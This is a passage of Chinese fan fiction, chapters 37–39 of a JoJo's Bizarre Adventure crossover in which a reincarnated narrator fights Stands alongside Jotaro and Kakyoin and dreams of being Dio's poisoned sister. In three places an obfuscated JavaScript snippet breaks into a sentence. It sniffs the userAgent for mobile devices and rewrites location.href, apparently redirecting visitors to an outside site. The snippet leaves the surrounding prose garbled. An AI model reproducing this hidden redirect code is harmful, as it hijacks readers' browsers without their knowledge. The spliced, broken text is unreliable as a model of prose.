“没人问Q太郎,Q太郎还要凑过来说话,疑似确诊自我意识过剩。” “嘛……”可能是看我和承太郎间弥漫着不存在的硝烟,花京院立刻转移话题:“霍洛也是想帮JOJO的妈妈才决定加入的吗?” 乔瑟夫的妈妈已经死了吧……哦这个JOJO是空条承太郎。 我刚想说,我是因为想揍迪奥才加入的,就听到花京院说:“不过JOJO的母亲真的是个很有魅力的女人,她拥有可以振奋人心的能量,让人觉得很安心。说句不合时宜的话……” “如果要谈恋爱的话,我或许就会为这样的女士沦陷呢。我会很想保护她,想看到她温暖的笑容。霍洛,你呢?” ……啊? 我能说什么。 我有点不知道该说什么。 人妻,儿子的同学,禁断之恋……这几个标签组合起来,我脑子里闪过了无数霓虹A片黄漫的名字,太恶俗了吧! 这么直接说出来真的合适吗,这是可以说的吗?亚洲人不是都很含蓄吗! 空条承太郎就在旁边呢! 我看向空条承太郎:“Q太郎你不想说点什么吗?” 空条承太郎拉了拉他的帽子:“……我会比较喜欢安静温和的女人。” 花京院秒懂:“JOJO的口味很传统呢,完全看不出来你喜欢大和抚子那种类型的……霍洛你呢?” “我喜欢可爱的……不对啊,我想说的不是这个!” 抛开花京院那个容易让人想歪的发言不说,他人其实挺好的,非常有风度,也很懂礼貌的男子。 所以飞机选位子的时候,我一个翻跟斗以非常奇特的姿势落地,抢在了所有人之前选位:“我要挨着小花坐!才不要挨着波波或者火焰鸟或者JOJO或者Q太郎。” 花京院不太理解,但是他还是微微一笑: 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“嗯……对。以前不知道替身的概念,以为我的替身是某种超凡能力,还以为自己是漫画主角呢。”花京院说,“不过我更爱游戏。” “哇,那你可有福了。” 花京院面带疑惑地看向我,但我不准备解释。 作为一个来自未来的人,我知道接下来可是游戏界的黄金时期啊,如果我记得没错:最终幻想七,塞尔达传说时之笛,街头霸王,超级马里奥世界,忍者神龟,魔界村……好像都是即将发售! 不过我不打算告诉他很多款游戏都即将发售而且都很好玩这件事。 总感觉这样像是在立flag,如果战斗结束回去就可以和朋友们一起玩游戏还有好多期待的事情可以做……这种角色很容易会翘辫子啊。 花京院愿意把他的食物上供给我,是个好人,可以的话,我不希望他死翘翘。 他撑着头睡着了,我盯着前面发呆,然后看到了一只巨大无比的虫飞了过来—— 我立刻抱头缩了起来让约旦河想办法干掉那只虫子……可是这个狗日的替身竟然不愿意! 哦不!它朝我飞过来了! 我真的很讨厌虫子,它们总是很没眼力见地到处乱飞,到处乱爬,谁知道它们身上携带着多少病菌啊,而且这只虫子长的太丑太丑太丑了!我可不想被这玩意碰到! “不要靠过来啊!”我低声尖叫着一个翻越就往后排跑,对着乔瑟夫大吼:“JOJO别睡了!帮我打虫子啊!” 阿布德尔立刻说:“那不是虫子,那是虫型替身!” “虫型替身那不也是虫子吗?不要靠过来啊!” 在空条承太郎舍己为人的站出身来时,我听到阿布德尔说这个替身喜欢把人的舌头揪出来…… 我只在乎一点:它是用虫子的口器直接揪出来吗?不要啊这也太恶心了,不要啊!就算是里苏特也不会这么折磨他的暗杀对象啊! 然后那个虫子就真的当着我的面揪出了一个无辜路人的舌头,太恶心了啊!竟然真的是用口器来揪……我感觉我要吐了。 我眼见空条承太郎似乎也抓不住那个替身,那个替身用咬下来的舌头当做笔在墙上写下恐吓文案,耳边是阿布德尔毫无用处的解说:“糟糕了!如果连白金之星都无法抓住它,那它的速度——” 我深吸一口气,打断阿布德尔:“既然如此,就找到替身使者本人好了。我有点赶时间得快点。” “你打算做什么?” “总而言之,把除了我们之外的乘客在一瞬间全部揍一顿就好了,放心,几秒钟就可以揍完了。”我瞥见一个正准备溜去厕所的老头,“先从你开始!” 阿布德尔正准备冲过来阻止我,但我离那个老头只有一两米远,所以他已经来不及啦!我立刻一个左勾拳右勾拳上勾拳下勾拳,一秒钟连续快打把那个老头揍趴下了。结果没想到那个替身也开始飙血然后消失了! “我运气也太好了。”我盯着地上那个不省人事的老头,“看吧,解决了。” 花京院看了看周围目瞪口呆的众人,迟疑了一会还是说:“虽然方法不太好,不过幸好解决了呢。” “说句霍洛你真厉害,我真崇拜你会死吗?” 37.恐怖游轮 梅林的裤衩子,我发誓我再也不和乔瑟夫一起坐交通工具了。 之前他说这是他人生中第三次坠机,我以为他在调解气氛呢,就没有跟着其它人说“下次不和他坐飞机了”,因为我不信有人真的是载具杀手这种体质。 结果我们坐上的船的船长又是迪奥派来的替身使者! 过程全略。总之最后是船毁啦? 毁了! 现在,我们一行人漂在汪洋大海上,四周看不到一点岛屿或者船只的影子。 乔瑟夫是什么哈利波特圣体吗?别人普普通通学校生活,哈利波特年年来点大事件。别人普普通通交通工具,乔瑟夫次次出点交通意外。 我幽怨地看着乔瑟夫:“如果我们最后漂流到荒岛上只能进行荒岛求生,我一定会在第四天把乔瑟夫杀掉做个BBQ,正好我还没吃过人肉,是时候拓宽一下食谱了……” 乔瑟夫倒吸一口气,捂脸尖叫:“oh no!” “哎霍洛这家伙开玩笑的,他就爱说一些话来故意吓人。”波鲁纳雷夫笑着缓和气氛,“而且我们的求救信号都发出去了,肯定没过多久就有人来营救。” 我嘀咕着:“万一我没在开玩笑呢……而且按照一般套路,肯定不会顺利获救吧。” “你的碎碎念有些太大声了。”在船上认识的女孩安吐槽。 我刚准备告诉她我就是故意这么大声的,就看见她跳了起来,指着我的背后大喊:“你,你们快看啊!” 船上的闭眼的,发呆的,睡着的……所有人都马上顺着安的指尖盯了过去。 那是一艘巨大的货船,突兀地出现在这片海上里,上面有着大大小小的起重机……这样大的一艘船行驶过来,我竟然没有一丝察觉?而且它似乎太过安静了。 这个场景有点像恐怖游戏里的大逃杀,难得一见。 我掏出我的小相机对着那艘船拍了一张照片。 花京院看到了问我:“你还专门带了相机吗?” 我点点头:“感觉会是很有意思的一趟旅行,我想留点照片纪念一下。小花你要不要我帮你拍几张照?到时候我洗出来后可以寄给你。” 花京院点点头:“那就多谢啦。” 波鲁纳雷夫说着:“就算上面全是替身使者我也要上去。”就这么踏上了那艘诡异的突然放下来的楼梯。 我紧跟着他踏了上去,还顺便伸出手拉了把花京院,灵机一动:“不对吧!船遭遇事故后突然出现一艘巨型游轮,这个剧情很不妙啊!” 走在前面不回头的波鲁纳雷夫嗤笑:“我们这一路都很不妙啊!” 我没管他,回头看了眼跟着后面上船的另外三个人,继续说:“该不会我们上去之后就会发现,自己陷入了一个需要不断杀死自己和朋友的轮回里。我们会以为只有杀死了所有人才可以终结轮回。而在我们当中唯一一个活下来的人离开游轮,以为循环结束的时候,他就会发现他又重新回到了一切的开始,又要重新经历循环!” “……你在说什么啊?”波鲁纳雷夫无语地看着我。 而花京院沉思了一下,接过话茬:“但也有可能,我们其实已经死了,而最终能从游轮中存活下来的那个人才有可能在现实复活。这是一场死亡淘汰赛,我们已经快要进入死人的世界了,只有一个人才可以回到人间。我们不得不反目成仇,而最后杀死所有人活下来的那个人会在复活的那一瞬间懊悔自己所做的一切,最终也选择了死亡。” “所以说你俩到底都在说什么?!” 我没理波鲁纳雷夫,目瞪口呆地看着花京院:“小花,你这个吐槽更吓人啊喂。而且如果我是那个活到最后的人,我可不会懊悔到自杀!” “是吗?我觉得还很有意思。” 跟在我们后面的承太郎突然说了句:“吵死了。” 我冷哼一声;“呵你以为你说你觉得吵,大家就会安静吗?呵,其实无人在意Q太郎的想法。”我说完立刻溜到一边去,不去直面空条承太郎的眼神攻击。 花京院看了看我又看了看承太郎,不知道脑补了啥,总之他和承太郎说了点悄悄话。 我觉得花京院肯定很担心我和承太郎是不是关系不好。估计他从小没啥朋友,不希望他新交的朋友们敌对吧。 其实他多虑了。承太郎讨不讨厌我先暂且不提。 我是不讨厌他的,他长那么好看我也讨厌不起啊!我只是忍不住想怼他而已。 波鲁纳雷夫摆摆手:“你们两个人别在那瞎脑补,人家小姑娘都要被吓死了。” 那个莫名其妙跟着我们的女孩安立刻反驳:“我没有被吓到!” “好好,你没有。”波鲁纳雷夫露出一个贱兮兮的笑容,朝我勾勾手指:“霍洛,我们一起去查看这个奇怪的货船。” “好!” 波鲁纳雷夫打开一扇扇门后,纳闷地问:“奇怪,怎么一个人也没有。” “花京院刚刚用绿色法皇查看过,他没发现这艘船上有人。” 他震惊地看着我:“你竟然叫花京院为花京院了?我还以为你是懒得记他的名字才一直叫他小花的。” “……你关注点错了吧。” 开了几扇门无果后,波鲁那雷夫停止开门了,他一只手撑着门把手,看着我:“霍洛,虽然我确实是为了报恩才跟着你的,但我已经把你当真正的朋友了。所以我真的很好奇,你为什么一定要寻找JOJO?还那么早就知道空条承太郎的名字。” 我就知道他会问! 于是我面无表情地看着他:“其实这不是我本来的身体。我之前的身体死了,我需要通过和JOJO一起展开冒险才能复活回到我原本的身体里。” “你能不能说一句真话啊!” 于是我思考了一下:“嗯……其实我参与了人类补完计划,这是计划的一环。” 波鲁那雷夫:“那个计划很危险吗?” “危险至极。这个计划的结局或许是我的死亡。” “别动不动就提死啊。” 我一本正经地胡说八道,结果波鲁纳雷夫反而相信了。不过真相往往就藏在荒诞的故事里,那么到底谁才会发现那个不可思议的真相呢。谁知道呢哈哈。 波鲁纳雷夫还想问我人类补完计划到底是什么。 还能是什么?等他九十年代去看新世纪福音战士时,他就知道是什么了。 我故作深沉:“一切都是为了光荣的进化。” 波鲁纳雷夫挠挠头:“算了,你不愿意说就不说吧。反正你都是我的同伴,而我永远信赖我的同伴。” “嘿嘿。” “但你不许坑我了。” 他话音一落,这艘船就开始变软,然后把我俩给捆住了?! 我立刻挣扎起来:“我宁愿是恐怖游轮里玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337226|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无限循环追杀也不愿意和一艘船玩捆绑paly啊!我喜欢的人外不是这种人外啊!” 波鲁纳雷夫:“这个时候了就不要胡言乱语了……该不会!这整艘船都是替身?!” “……哦 那我静待承太郎,花京院或者乔瑟夫,阿布德尔打败替身使者吧。我感觉我有点困……” “喂你不要睡啊!你现在的困意是因为管子在掐你脖子你缺氧了,保持清醒啊!” “Zzzzz……" “喂!别睡啊!” * 我真的不会再和乔瑟夫.乔斯达同坐飞机或者船出行了! 这家伙真的载具杀手啊,短短一两天就干坏了三个交通工具!三个! 这艘船的替身使者竟然是一只巨大的猥琐的红毛猩猩,他还喜欢看裸女?这叫什么……这种xp要叫猩外吗。 猩猩所持的塔罗牌对应的是“力量”。说起塔罗牌我就觉得很有意思,没想到他们以前的替身使者还会用塔罗牌来对应……这什么原理啊,搞不懂,但感觉好有意思。 我听到这个替身是力量牌后,点评:“我最喜欢的塔罗牌是正义,愚者,还有世界。没有特别的理由,单纯觉得名字好听很酷。” 乔瑟夫露出一个神秘微笑:“说不定你很快就会遇见愚者了。” “如果是敌人的话,我要把它揍死。” 波鲁纳雷夫还在那边跟花京院吐槽我刚刚睡着的事情,他觉得我太不着调了,快把他吓死了。 拜托!我那是因为信任大家才安心睡去,绝对不是因为我真的想睡了。 等到了酒店分配房间时,乔瑟夫习惯性把我和波鲁那雷夫安排在一起。 这时,不知道为什么还跟着我们的小女孩突然发问:“不对吧怎么说也应该女孩子和女孩子一间房。” 她说着还挽住我的胳膊,充满敌意地看着波鲁纳雷夫。 “噗嗤哈哈哈哈哈哈哈……” 我耳边充斥着在波鲁那雷夫恶意满满的嘲笑声,乔瑟夫刺耳的大笑,花京院和阿布德尔的有点含蓄但不多的憋笑,还有空条承太郎…… 那家伙竟然还会笑?!气死我了! 我带着和善的微笑:“亲爱的,我是男人,掏出来说不定比他们还大。” “喂,不要当着小孩子的面这样说。”乔瑟夫假装捂住安的耳朵。 而安的脸瞬间红了,她没直视我的眼睛,支支吾吾:“可你长的那么漂亮……” “美人是不分性别的。”我说着撩了撩我的头发,对她比了个wink,“不过你要是想和我一间房也可以哦。” 乔瑟夫表示不行:“这可不行,虽然年纪还小,但毕竟还是个小姐,她还是单独一间房吧。” 乔瑟夫你以前锁孔偷看人洗澡的时候怎么没见你这么绅士。假正经。 “嘛,霍洛你也别生气。”波鲁那雷夫拍了拍我的肩膀,“你把头发再剪短一点就能看出你是男人了。” ……我现在看着也很男人啊。他们怎么不说说花京院,他长的也很雌雄莫辨啊。 “我干嘛要生气,我本来就是女人。” “哈哈哈哈哈看你那副认真样,要不是我在厕所看到过,我差点就真信了哈哈。” 啧,他现在明明都一点也不信,那为什么在意大利见到我时就那么笃定我就是霍洛啊! 算了,想不明白,不想了。 38.第 38 章 1988年的太阳和2001年的太阳没什么不同,甚至和十九世纪都没什么区别。 我不太喜欢阳光,因为作为格蕾丝时,我被迪奥变成了吸血鬼,最后就是死在了阳光里。 被阳光灼烧而死的感觉并不好。那种灼烧感就像是一百多度滚烫的水从头皮直直灌下去,再被丢进了热油里翻滚了几圈。吸血鬼强大的再生能力,让我可以感受这个酷刑直到彻底被阳光烧成灰烬。 格蕾丝死的时候心里只有释然,所以她没有惨叫。 可我不一样。释然个屁啊!痛死我了! 那个痛不欲生的感觉深深烙印在了我的骨子里,以至于我现在看到太阳就想尖叫啊! 可恶,怎么想都是迪奥的错! 但一想到迪奥无法享受阳光,我又控制不住喜欢太阳了。 没办法,迪奥讨厌的我都会喜欢,呵呵。 所以分完房间后,我没有跟着波鲁那雷夫去房间呆着,而是跟着花京院去晒太阳。 我犹豫了一下要不要脱掉衣服再晒太阳,这样可以晒出均匀的小麦色,最终还是直接脱掉了。 反正现在都是兄弟!谁怕谁! 花京院盯着我脱衣服,盯了好一会,盯得我恐同症都要犯了,他才问:“霍洛你在健身吗?” “刚开始没多久,之前懈怠了。”我看着依然穿着校服的花京院,有些奇怪,“你怎么还穿着校服?不热吗?” 说起来,他们这一路根本没换衣服是怎么回事。 花京院边看报纸边回答:“毕竟我是学生嘛,学生还是要有学生的样子的。” “……你一点也不像学生吧!”我忍不住吐槽,“不过你怎么说服你爸妈让你请这么长的假期的?不会是靠JOJO说服吧!哦,我说的JOJO是指乔瑟夫。” 花京院一脸坦然:“我没有跟他们说,我直接跑出来的。” “你,你一句话也没说?!”我不可置信地看着花京院,“你就不怕你父母担心吗?” 要知道我现在满脑子都是断联这么多天,阳莱和直子会不会担心我担心得要爆炸!我还有点担心乔鲁诺会不会直接把我埋了,我可不想揭棺而起啊。 花京院微微笑着说:“说了反而更容易担心吧。而且如果一不小心死在这次旅途里了,他们还可以当做我是失踪了,而不是死亡……” “啊啊啊啊!你怎么可以这样想啊!不理解!”我捂着头尖叫,“你既然觉得自己有死亡的风险,你为什么还要跟过来!” “或许是命运让我们走到了一起吧。”花京院没有正面回答我,“不过能够和你们相伴而行,是我这十七年人生里最幸福的时候了,像梦一样,都有点不真实了呢。” 花京院笑着说,微微卷曲的红发随着风轻轻动着,不知道为什么,我总觉得此情此景他的身后应该出现玫瑰花瓣,他坚定地回答:“就算真的会死,我也不后悔。” ……这是什么超绝死亡flag啊,我真的要尖叫了:“不要说这种不详的话,还是要后悔一下吧。” “哈哈哈哈哈是吗?霍洛你说话真直白哈哈哈,不过我挺喜欢的。”花京院大笑了起来,“我有点渴了,要不我们一起下楼去买椰汁喝?我刚刚有看到那里有卖椰汁。” 椰汁啊,好久没喝了。清爽可口的椰汁……想想看就让我有些口干舌燥。我立刻套上我的衣服:“好,我去拿点钱。” “这次不吃霸王餐了?” “……小花,我只吃过一次霸王餐。” 我本来是想去讹乔瑟夫钱的,但乔瑟夫不给我钱,他说他昨天才给过我,让我把钱包的钱用完再来找他。 他以前对我不这样的!可恶! 于是我只好气鼓鼓地去跑去房间敲门,没人开门,我又敲了一次:“波波,开门!” “……” “波鲁纳雷夫!快点开门!” “……” “喂!”我用力拍着门,把耳朵贴近,却只听见了波鲁纳雷夫的闷声呼喊,他的吐字非常不清晰,情绪却异常激动。 紧接着我听到了几声哒哒哒声,像是一块抹布在地上摩擦的声音,以及金属器具磨蹭地板的刺耳的声音。 伴随着高昂的“嘻嘻嘻嘻”,那哒哒声离门越来越近—— “咔哒。” 我耳朵旁边的门把手轻轻扭动了一下,一个布娃娃的头突然探了出来:“嘻嘻嘻嘻看到你了!!” 它那双软塌塌的手挥舞着刀子朝我脖子下方划来,我立刻一个下腰,侧过头,眼睁睁看着光滑的刀面扫过我侧脸上的绒毛,割下了几根我的发丝:“约旦河!手枪!” 我的手里立刻出现了一把手枪,我一手拉开一道传送门,一手扣下扳机射穿那个鬼娃的脑门。 “砰”的巨响,鬼娃尖锐的笑声戛然而止,倒下了。 我擦了擦额头不存在的虚汗:“呼,还好我反应快,不然我脸皮都要被割下来了,这样我就要变成无面人来索命了……不过鬼娃还魂这事竟然是真的。” “发生什么了!”花京院姗姗来迟,背后还带着他那质地漂亮的绿之法皇。 我让约旦河把手枪收起来,耸耸肩:“一个敌人的替身,但我解决了。你没看到太可惜了,那个东西跟恐怖游戏里的鬼娃娃一样。” “什么鬼娃娃?” “咳咳呸!”一个干呕声在房间内响起,“霍洛!花京院!快点把我拉出来啊!” 我踏步过去,割开绳子,看着波鲁纳雷夫从床底爬出来还带着一团沾着不明液体的袜子,沉默了一会,还是忍不住问:“它是拿袜子塞你嘴了吗?” 波鲁纳雷夫脸瞬间青了:“不是……” 花京院走过来轻轻拍了拍波鲁纳雷夫的肩膀,安慰道:“没事的,波鲁纳雷夫,霍洛没有嫌弃你的意思。” 如果他说这话时,没有憋笑到肩膀都在抖,可能他的安慰还有点用。 哦,还有,我那句话就是嫌弃的意思。 * “OMG!你们也遭到替身袭击了!”乔瑟夫捂脸大叫,“承太郎那边也被替身袭击了,敌人伪装成花京院靠近了承太郎!” “哇,还好我遇到的是鬼娃,要是敌人假扮花京院的话,我可能根本分辨不出是假货……” 听到我这番话,花京院露出一个难过的表情:“真是让人伤心啊。” 我拍拍他的肩头:“没关系的,我会通过打起来的手感来判断是真是假。” “那有点糟糕了。” 本来我们是打算去帮帮空条承太郎的,结果你一嘴我一嘴讲了几句话,空条承太郎就自己回来了。 面对我的好奇提问,他只是说,那个敌人是一个“没什么值得一提的人”。 波鲁纳雷夫跟我说,肯定是因为他的白金之星太强了,所以很多人在他眼里都不够看。 他大概是真的在夸赞空条承太郎,但由于他的法国腔听上去有些高傲,搞得跟他在阴阳怪气一样。 空条承太郎没有多说什么,只是在火车上选座位时,坚决不跟波鲁纳雷夫坐在一起。 当我趴在桌子上准备睡大觉时,突然听到花京院说:“JOJO,你不吃樱桃的话可以给我吗?我特别喜欢吃樱桃。” 我立刻蹦起来,举起手:“我也可以把我的樱桃给你。” “阿布德尔,我没有看错吧,那个霍洛竟然会把食物主动分出去!我没有看错吧!” “……波波,你很烦。”我把我果盘里的樱桃倒给了花京院,“我对花京院友好只是因为他之前把他的肉排全部给我吃了。” “但你有报答别人这个意识简直非常了不得啊!” “……你很烦。” “谢谢了。”花京院捏起一个樱桃,放到他舌头上然后他就以一种非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346995|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常奇怪的舌头来回吞吐樱桃的吃相,伴随着意义不明的“renoreno”的声音,表演了花京院吃樱桃。 我目瞪口呆地把墨镜取下来,看着他喜剧表演的方式吃完了整颗樱桃,末了,他还问我:“怎么了?” “额没什么。”我重新戴上了墨镜,“花京院你吻技一定很厉害。” 花京院又秒懂:“你说的是用舌头给樱桃梗打个结吧?好像确实有这个说法,不过我没有谈过恋爱,连女孩子的手都没有牵过。霍洛你会吗?” “没试过,不过我应该会,毕竟我挺会接吻的。” 我的脑子里闪过了阿帕基第一次被我亲迷糊时的场景。真怀念啊,他那个时候还是个纯情小警察,好欺负又好骗…… 结果不过两年,他就变成了涂着口紫和紫色眼影,穿着阴森长袍的绝命毒师,还是个嘴不饶人的臭脸男鬼哥! 可恶啊!时间,你到底对阿帕基做了什么! “所以你竟然谈过恋爱?”空条承太郎难得一见地主动挑起话题。但是他话语里的不可置信和眼神里的怀疑让我觉得很不爽啊。 我刚想张嘴一个“关你屁事”,然后突然想到,我需要立个人设啊! 我得让空条承太郎潜意识里认为我是可能有个后代存在的! 我可没有忘记我17岁时因为吉良吉影那家伙进局子,可是空条承太郎把我捞出来的!而且他当时还以为我是霍洛的女儿! 虽然我和他关系不怎么样,但是他在多年后还是去警局捞“我的女儿”……难道是看在霍洛死了的份上? 也是,时间会美化记忆,尤其是记忆中那人死去的话。 那我现在得给我打个补丁,扮演一个渣男人设,让他看到蕾娜塔第一秒想到的是:啊,这是霍洛那家伙的女儿。那个死去的同伴的后代。 于是,我把脸转向一边:“我以前确实谈过恋爱的,差点就要结婚了。不过出了点意外,我俩分手了。” 波鲁纳雷夫立刻好奇地问:“哇,那她是什么样的人?” “嗯……她是一个警察,意大利人,你知道吧,意大利那里黑手党很多,所以……” 对不起了阿帕基,我拿你取材一下。 坐在对面的波鲁纳雷夫听着我和阿帕基性转版恋爱故事,突然打断我:“你这样还能谈到恋爱?” “……为什么不能。” 波鲁那雷夫叹了口气,正儿八经地把我拉过来,开始指点我:“你看,就你刚刚讲的恋爱故事里,很明显能够看出你是个忽略型恋人啊!而且你竟然因为嫌麻烦所以什么事都不告诉她,你谈的什么恋爱啊,这简直是在告诉她,你的未来你根本没有她这个人啊!还有你竟然稀泥糊涂地为了和她多上几次床,就和她在一起了?纯骗色啊!” 我立刻想要反驳波鲁那雷夫:“但是我——” “我问你,在一起后你有没有去关心过她的生活,关心过她的烦恼,你有没有在意她的那些情绪的小变化是因为什么才造成的?” “额,我,额……不是,我……嗯……但我有好好听他说话啊!” 波鲁那雷夫捂脸:“光是倾听?左耳进右耳就出了吧!霍洛你太没有责任心了,你需要理解她啊,给她支持啊,你完全没有给你的恋人安全感!” “妥妥的渣男啊!一点担当都没有!” “……”我惊恐地看着周围,发现他们几个人都在默默点头,试图狡辩:“可,可我……” 可我发现我一点也狡辩不了,因为我真的纯骗色啊!可恶!早知道我就把故事编好再讲了!下次我一定要好好编! 面对我一脸“算了吧就这样吧”的无所谓的脸,阿布德尔:“霍洛,这样伤人心是不对的,你需要好好反思。” “没错,伤女人的心可不对。”乔瑟夫那个死鬼竟然也教训我。 靠,梅洛尼你在哪里,我想你了。 39.梦魇 “哥哥,我想你了。你能来看望我,我真的很高兴。” 我望向窗外的小鸟轻声说着。我本想转动轮椅到窗边去仔细看看,但我的手如今也逐渐没了气力,实在推不动这沉重的轮椅。 快要到二十世纪了。在书本所描写的未来世界里,人类可以创造出某种工具在天上飞翔,像鸟一样。 这只小鸟是否能够看到二十世纪的太阳呢? 但无论它看不看得到,我是看不到了。 想到这,我有些难过,我看向一旁的兄长,想要抱住他的胳膊,这能给我带来安定感。但是突然我的胸腔一阵闷痛,我控制不住地又咳了起来,红黑色的血从我胸腔经由口震出,泼到了我黑色的裙子上。 我控制不住又看向镜子。 镜子里的那个女人苍白无力,几近枯萎,裙下露出的腿肌肉萎缩,双目无神,看上去吓人极了。 毫无疑问,她快死了。 我快死了。 医生告诉我,我会死在二十岁之前。我不相信,吃了那么多年苦得让我失去味觉的药水……而现在我不得不相信了:我真的会死在二十岁之前。 我对我早死的结局早已释然。从我失去行走能力,变得像具骷髅一样可怖的那天起,我就觉得我像是一具尸体了。 可我有无论如何也无法放心下下来的事情,那是我的哥哥所做的错误的选择。 我不知道他为什么要这样做,或许他被魔鬼诱惑了,也或许他本身就是魔鬼。我不忍看到悲剧发生,如果无法解决这件事情,我无法安宁地进入长眠。 我的兄长轻轻拍着我的背,一如既往的温柔,他开口道:“妹妹,你应该好好疗养的……” “哥哥,我听说乔斯达先生生病了 ,是真的么?”我打断了兄长的话。 他的眼神中闪着错愕,这让我有些失望,他回答道:“是,不过你不需要……” 我闭了闭双眼,长叹一口气,最终还是说了:“乔斯达先生的病和你有关系吗?” 兄长红色的双眼闪动了一下,他握着轮椅的手青筋暴起,但他依然露出温和的笑容。 是啊,他就是这样的一个人,一个衣冠禽兽,一个恶魔,一个该下地狱的十恶不赦的坏人。 可即便如此,他依然是我的兄长。 “我可爱的妹妹,我听不明白你的意思。” 我低头拨弄着我没有血色,干裂的指头,双目涣散,我想到了过去,轻声说着:“先是普通的感冒,发烧,然后是四肢胀痛逐渐失去知觉……” “格蕾丝,你在说什么?” 我旁若无人地继续说着:“紧接着是心口痛,慢慢开始咳血,逐渐失去行动能力……” “喂!格蕾丝!”他掐住我的胳膊,但又在我发出吃痛的闷哼时松开了些。 他凝视着我,用那抹血红色凝视着我。 听说红眼睛是恶魔的双眼,我摸着我失去知觉的双腿,再一次深感,与我血脉相连的兄长或许是真正的魔鬼。 最终,他眯起了眼睛,直起身子,俯视着我:“你发现了?” “是啊,我……” “……要不要叫醒他啊?” “叫吧,都要到印度了。” “霍洛。霍洛!睡这么沉?” “喂!霍洛!” “啪!啪啪!啪!” 响亮的巴掌瞬间把我扇醒了,我捂着有些火辣辣的脸蛋,一时缓不过神。 草。 我竟然,梦到了迪奥。 我怎么会又梦到了格蕾丝的记忆,可恶!为什么会梦到迪奥啊! 啊啊啊啊啊滚蛋啊!啊啊啊啊啊啊啊啊给我爬啊啊啊啊!好晦气啊啊啊啊啊! “额,霍洛?完了我不会打重了吧,霍洛,我真不是故意的,我叫了十几遍你也不醒,所以我……” 我究竟为何会梦到迪奥,太晦气了,难道是因为我离他越来越近了吗…… “喂,霍洛,你晕船吗?怎么一脸吃了屎的表情?”波鲁纳雷夫凑过来打量我的脸色,“我们要到印度了啊,听说印度……” 波鲁纳雷夫不停吧啦吧啦的嘴无法勒住我的思绪,他的声音在我的世界里逐渐变弱,我的脑子嗡嗡作响,眼前一片黑暗。 粘稠的回忆像七月夜的热浪不停翻滚着,我无法欺骗我的大脑我没有在想着迪奥,那庞大的恨意夹杂着一些对他的不可言明的情绪蒙蔽了我的一切。 我只能想到那个困住我的轮椅,密不透风的房间,狭小的充斥着酒臭的房间,他虚伪的关切,他手里的害了我的药水,他举着的一小块生日蛋糕,他一声声的“妹妹”,他将石鬼面按在我身上时的专横,那无数个被病痛所折磨的夜晚只有他一人握着我的手…… 我脚底下的铁板摇摇晃晃,四周充斥着嘈杂的嗡嗡声,船舱内沉闷的空气仿佛将我再次推回了十九世纪那个脏乱的小街里的那个“家”。 他明明可以不给我下毒药的,他明明可以不把石鬼面安在我身上的,他明明可以不把我送到疗养院的…… “霍洛?” 他明明可以弃我于不顾的,他明明可以轻易杀死我的,他明明可以不用给我买生日蛋糕的…… “霍洛!” 花京院猛地掐了我一把,我顿时清醒过来,看向他。 他柔和漂亮的脸上挂着担忧,透过他亮闪闪的紫眼睛,我能够看到现在的我的模样:惊惧,失落,愤怒,忧伤……这些情绪杂糅在一起出现在我的脸上。糟糕透了。 “你还好吗,霍洛?你的脸色很差劲,是水土不服吗?”花京院很严肃地问我。 我摇摇头,甩开他的手:“不,我只是……做了个噩梦,我没事!我很好。” 不要去想那家伙了。等他死了就好了,他会死的彻彻底底的,然后下到地狱十八层。 迪奥会死的,他一定会死的。 我理了理凌乱的发丝,拍拍脸,强行让自己清醒过来,问花京院:“我们现在到哪了?” 花京院似乎还是很担心我的情况,但他很体贴地没有继续问:“我们要到印度了。” 印度?我想到了之前和直子阳莱去印度游玩的经历,嘴角抽搐了一下:“额印度……” “是个热情的国家哦。”阿布德尔大笑着说。 我看着其余人有些期待的表情,选择一句话也不说,并默默收好了我的钱包。 事实证明,我做的是个正确的选择,因为花京院的钱包一下船就被偷了。哈哈。 在餐馆里,波鲁那雷夫大声说:“我果然还是无法适应印度这种地方啊。” 空条承太郎反而说:“我还挺喜欢这个地方的。” “……你认真的?”我歪头看向他。 他点点头。我拍了拍他:“之前看错你了,原来你这人挺随和的,完全不像某些法国人一样那么龟毛。” “霍洛,我把你扇醒是不对,但你没必要这样一直挖苦我吧!我都说了对不起了!” “呵呵。我也说了,我这辈子只接受女人扇我巴掌。” “我们之间的友谊呢!羁绊呢!” “那种东西存在过吗?yue。” “喂!” “我挺能理解的,如果是我,比起男人,我也更希望女人扇我巴掌。” “……小花你不用通过这种方式来哄我,有点那个了。” 我扒拉了几口咖喱饭,最后还是选择不吃了。这家店做的咖喱饭有点寡淡,而且一想到迪奥可能在哪个地方美美吸血,我就没胃口。 等等,按时间来算,他已经遇到了乔鲁诺他妈妈吧……为什么这家伙又是有血喝又是有女人抱,还有一堆手下任他差遣,我却在这里苦哈哈地做男人,还要被男人扇巴掌啊! 滚啊!不许给我过的这么幸福! 正当我在脑子里拳打脚迪奥时,突然有个盘子推到了我的面前,这个白色的小盘子里面放着一块小蛋糕,我看着把盘子推过来的波鲁纳雷夫一声不吭。 这个银色灌木丛到底想干嘛?嗯? 波鲁纳雷夫双手合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 